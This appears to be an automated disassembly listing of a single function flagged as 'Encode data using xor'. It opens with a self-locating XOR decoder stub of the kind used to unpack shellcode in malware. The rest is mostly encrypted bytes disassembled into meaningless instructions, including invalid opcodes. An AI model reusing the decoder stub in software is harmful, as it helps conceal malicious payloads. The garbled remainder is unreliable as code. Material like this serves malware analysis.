Function at 0x1d4ff50
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1d4ff5a
pushal
call 0x1d4ff60
pop ebp
sub ebp, 0x10
sub ebp, 0x194ff50
jmp 0x1d4ff76
mov eax, 0x194ff50
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cf
mov edx, 0x7ce21bb4
xor byte [eax], dl
inc eax
dec ecx
jne 0x1d4ff8d
jmp 0x1d4ffa0
aas
jns 0x1d4ffe2
cmp eax, 0xb4b4b488
xor eax, 0xb4b44c75
mov ah, 0xb7
jns 0x1d4ffbd
mov al, 0xb4
mov ah, 0xb4
push cs
pushfd
mov ah, 0xb4
mov ah, 0x43
push esi
mov bh, 0x7c
aas
jl 0x1d4fffe
xor eax, 0xb4b4b4b8
mov bh, 0x71
cmp eax, edx
nop
dec eax
cmp eax, 0xdce490b0
cmp byte [edx + 0x76dcb4e6], ch
push esp
div byte [ebp - 0x236f674b]
adc byte [ebx - 0x4ea3b2b4], ah
mov ah, 0xb4
mov ah, 0x5d
xor byte [esp + esi*4 - 0x6f2fc64c], 0x48
cmp eax, 0xd8399098
nop
mov ah, 0x3f
xor dword [esp + esi*4 + 0x213fb4b4], edi
mov eax, 0x3fb4b4b4
mov ah, 0xb4
mov ah, 0x3f
cmp dword [esp + esi*4 + 0x5d75b4b4], esp
mov dh, 0x85
mov dh, 0x37
jbe 0x1d4ffbf
std
mov ebx, 0x4b4b4031
dec ebx
aas
cwde
nop
cmp eax, edx
nop
mov al, 0x76
mov eax, 0x90383fb4
mov al, 0xb4
mov ah, 0xb4
fdivr qword [eax]
stosb byte es:[edi], al
out 0xb4, al
fdiv qword [esi + 0x54]
mov ah, 0xdc
jbe 0x1d50083
div byte [ebp - 0x1a6f674b]
pop esp
mov cl, 0xb4
mov ah, 0xb4
pop ebp
mov ah, 0x5d
int1
mov dh, 0xb4
mov ah, 0xe1
loopne 0x1d5002b
dec ebx
sar dword [eax + 0x5cbcc14b], 0xcc
mov ah, 0xb4
mov ah, 0x3f
or dword [esp + esi*4 + 0x7d87b4b4], edi
xor eax, 0xe89f9346
xor eax, 0xe89f9346
xchg dword es:[esi + 0x37], esp
aaa
pop esp
mov cl, 0xfc
mov ebx, 0xb4b4fa30
mov ah, 0xbb
cmp al, 0xfc
mov ah, 0xb4
mov ah, 0xd2
aas
test al, 0x8d
xor al, 0x4f
pop esp
mov ebx, 0xb4b4ae30
mov ah, 0x34
dec edi
pop ebp
mov ebx, 0xb4b4a530
mov ah, 0xd2
xor eax, 0xbb914b4f
xor byte [ecx - 0xa4b4b4c], ah
mov ebx, 0xb4b4a130
mov ah, 0xf5
pop ebp
js 0x1d500e3
dec ebx
dec ebx
popfd
clc
lea esi, [ebp + 0x37b17537]
pop esp
mov al, 0x5d
or dword [ebx + 0x4b], ecx
dec ebx
popfd
loopne 0x1d50039
mov dh, 0x37
aaa
jne 0x1d50062
aaa
pop esi
mov al, 0x37
pop esp
mov cl, 0x5d
pop ds
dec ebx
dec ebx
dec ebx
aas
cwde
nop
cmp eax, edx
nop
mov al, 0x76
mov eax, 0x583fe1b4
loop 0x1d500ad
loope 0x1d5010b
sar dword [eax + 0x48bcc93f], 6
xor al, 0x3e
mov dl, 0x35
jb 0x1d5008e
mov ah, 0xb4
mov ah, 0x3c
mov bl, 0x35
jae 0x1d50096
mov ah, 0xb4
mov ah, 0xf
mov dh, 0xb4
mov ah, 0xb4
mov dh, 0x66
mov ebx, 0xb4b4b131
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
aaa
insb byte es:[edi], dx
dec ebx
dec ebx
dec ebx
mov dh, 0x66
mov ebx, 0xb4b4b131
mov ah, 0x3e
mov byte [0xbb66a6f2], al
aaa
mov bx, 0xde37
mov ah, 0xb4
mov ah, 0x87
je 0x1d500c8
fidiv word [esp + esi*4 - 0x498b784c]
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
aaa
sahf
cmpsb byte [esi], byte es:[edi]
mov bx, 0x9e37
mov ch, 0xb4
mov ah, 0xb6
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x1d500ea
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x1d500f9
mov bx, 0xb131
mov ah, 0xb4
mov ebx, 0xb4b4b131
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x1d50108
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x1d5011c
xor byte [edx + 0x3fb4b4b4], dh
imul ebx, dword [edi + 0x3cb73e6c], 0xffffffb3
movzx esi, byte [esp + esi*4 + 0x4bc45db4]
dec ebx
dec ebx
or al, 0xb5
mov ah, 0xb4
mov ah, 0xb6
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x1d50144
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
push 0x4b
dec ebx
dec ebx
lahf
ja 0x1d501b2
mov ch, 0xb4
mov ah, 0xb4
mov ebx, 0xb4b48031
mov ah, 0xd
mov ch, 0xb4
mov ah, 0xb4
mov dh, 0x66
mov ebx, 0xb4b4b131
mov ah, 0x3e
xor dword [ecx + 0x3eb4b4b4], esi
mov byte [0xa766a6f2], al
jge 0x1d50178
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
push 0x4b
dec ebx
dec ebx
loop 0x1d50215
inc ebx
lahf
inc ecx
inc edi
adc dl, ch
pop ebp
mov esp, 0xfc4b4b4b
jne 0x1d50238
mov esp, 0x3ff2b23e
pop esp
or eax, 0xb4b4b4b5
mov dh, 0x66
mov ebx, 0xb4b4b131
mov ah, 0x3e
mov byte [0xa766a6f2], al
jge 0x1d501b5
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
push 0x4b
dec ebx
dec ebx
xor eax, 0xb4c9b44c
mov ah, 0x35
insd dword es:[edi], dx
dec ebx
dec ebx
dec ebx
mov ah, 0xb4
xor eax, 0x4b4b4b6d
dec ebx
xor eax, 0xb4b1b44c
mov ah, 0x35
insd dword es:[edi], dx
dec ebx
dec ebx
dec ebx
dec ebx
xor eax, 0xb4b4344c
mov ah, 0x35
mov ah, 0xb4
mov ah, 0xb4
xor eax, 0xb4b4344c
mov ah, 0xb4
mov ah, 0x35
mov ah, 0xb4
mov ah, 0xb4
loop 0x1d50282
inc ebx
lahf
inc esp
inc edi
adc dl, ch
pop ebp
das
dec edx
dec ebx
dec ebx
mov dl, 0xf2
xchg dword [ebp + 0x74], edi
pop esp
mov ch, 0xbb
xor byte [esi + 0x35b4b4b4], ch
scasb al, byte es:[edi]
mov ah, 0xb4
mov ah, 0x35
mov dh, 0xb4
mov ah, 0xb4
aas
pop esp
loop 0x1d502a5
inc ebx
lahf
inc esp
inc edi
adc dl, ch
lgs esi, [esp + esi*4 + 0x4ac75db4]
dec ebx
dec ebx
jmp 0x4191cc1a
mov esp, 0x90883fb4
cmp eax, edx
nop
mov al, 0xea
pop ebp
mov al, 0xb4
mov ah, 0xb4
mov bl, 0xa7
mov ecx, dword gs:[esp]
dec ebx
and byte [ebp + 0x743571b7], dh
fbstp tbyte [edi + 0x40db4b4]
mov dh, 0xb4
mov ah, 0xe
mov ah, 0xb4
push cs
jns 0x1d502d5
and byte [esp + eax*4 - 0x44020b5c], ah
xor dword [edx + 0x4b], eax
dec ebx
dec ebx
pop ebp
mov al, 0xb4
mov ah, 0xb4
push ecx
push es
pop esp
pushfd
inc byte [edi + 0xef28efe]
inc ebp
dec byte [esi - 0x26b13a0e]
jns 0x1d50347
jns 0x1d50348
jns 0x1d5034a
jp 0x1d50258
xchg dword [edi], ebp
das
and ch, bh
or dword [ebp - 0x11], eax
or dword [ebp - 0x11], eax
std
dec ecx
dec ebp
jns 0x1d50357
jns 0x1d50332
mov eax, dword [0xfe792ef2]
xor dl, 0
jge 0x1d502e8
cmp al, 0x83
jns 0x1d50368
jns 0x1d5036a
jns 0x1d50368
jbe 0x1d502f0
std
aas
jns 0x1d5036f
jns 0x1d50372
scasd eax, dword es:[edi]
clc
mov esi, 0x79797971
clc
nop
jno 0x1d5037c
jns 0x1d5037e
clc
cmp byte [ecx + 0x79], 0x79
jns 0x1d50383
jns 0x1d50382
std
test eax, 0x1f868686
bnd jle 0x1d502cd
jle 0x1d502cd
xchg ecx, eax
jne 0x1d50312
cdq
jbe 0x1d50313
cmp dword [edx + 0x79], 0xfc767979
jp 0x1d50397
jns 0x1d50399
jns 0x1d50397
jbe 0x1d5031e
cld
je 0x1d5039d
jns 0x1d5039f
pop ds
bnd jle 0x1d50322
cdq
xchg byte [esi + 0x79], dh
jns 0x1d503aa
mov ebx, 0x30306178
popal
xor byte [eax], dh
cli
mov esi, 0x86b1907b
xchg byte [esi + 0x79797d90], al
jns 0x1d502e8
ror byte [ecx + esi*2 - 0x1279d63f], cl
sub dword [esi - 0x43858713], eax
clc
mov ecx, 0x79797d65
xchg ch, ch
js 0x1d503c6
mov esp, 0x7d65b9f8
jns 0x1d503cc
rol byte [esi - 0x3c868688], 0xe3
lodsd eax, dword [esi]
jns 0x1d5031c
jecxz 0x1d50308
push 0x39694964
cmp dword [eax], esi
xor byte [esi - 4], dh
jbe 0x1d5035f
pop dword [esi + 0x7d908686]
jns 0x1d503e4
xchg byte [eax + 0x7979797d], dl
jge 0x1d503e3
jns 0x1d503e5
jns 0x1d5031f
mov dl, 0xac
lodsb al, byte [esi]
mov cl, 0xc3
adc al, 0x68
ret
adc al, 0x68
push 0x1464df94
push 0xe363d45f
xchg esp, eax
fbld tbyte [esp + edx + 0x68]
pop edi
aam 0x63
jecxz 0x1d50360
jecxz 0x1d50361
jecxz 0x1d5035f
loopne 0x1d5039d
sbb eax, 0xe3ef9c60
pushal
pushfd
out dx, eax
jecxz 0x1d50371
in al, dx
and ah, bl
jecxz 0x1d5036d
jecxz 0x1d503f3
push 0x25e0efa4
movsb byte es:[edi], byte [esi]
out dx, eax
loopne 0x1d503b4
mov bl, 0x1c
jbe 0x1d50366
cmp al, 0xa1
loop 0x1d503f9
sbb esp, ebx
jecxz 0x1d5037e
jecxz 0x1d50389
out dx, ax
jecxz 0x1d50384
jecxz 0x1d5040b
movsb byte es:[edi], byte [esi]
out dx, eax
loopne 0x1d503cc
mov bl, 0x1c
jbe 0x1d5038a
fistp qword [ecx]
cmp al, 0xa1
loop 0x1d5040f
pushfd
out dx, eax
jecxz 0x1d5039f
jo 0x1d50399
jo 0x1d50399
jecxz 0x1d5039b
pushal
pushfd
jecxz 0x1d5039f
in al, dx
jmp 0x1d5e7a4
jecxz 0x1d503a4
jecxz 0x1d50423
pushfd
jecxz 0x1d503b3
jecxz 0x1d503b3
in al, dx
mov fs, ebx
jecxz 0x1d503af
mov dh, 0x68
push ds
push 0x1e64f39e
loopne 0x1d503e5
pushal
sahf
jecxz 0x1d503bf
in al, dx
mov ah, 0xe3
jecxz 0x1d503c5
push 0x6eb3e3ae
scasb al, byte es:[edi]
jecxz 0x1d50399
mov bl, 0x6e
outsb dx, byte [esi]
xchg edi, eax
pop ds
push 0xfffffffffffffff7
invalid
jecxz 0x1d503d8
outsb dx, byte [esi]
xchg edi, eax
pop ds
push 0xffffffffffffffef
invalid
invalid
invalid
sbb al, 0x71
xlatb
cmp al, 0xa1
loop 0x1d50486
test edi, 0xe7c7876e
push 0xffffffffffffffa6
out 0x6a, eax
cmpsb byte [esi], byte es:[edi]
jecxz 0x1d50490
out 0xc7, eax
outsb dx, byte [esi]
xchg edi, eax
out 0x62, eax
out 0xe3, eax
jecxz 0x1d50417
or bh, byte [esp + ebx + 0x1c]
sbb al, 0x68
iretd
nop
mov cl, byte [ebp + ecx*4 - 0x2f322d3d]
shr dh, cl
jmp 0x886a8b3c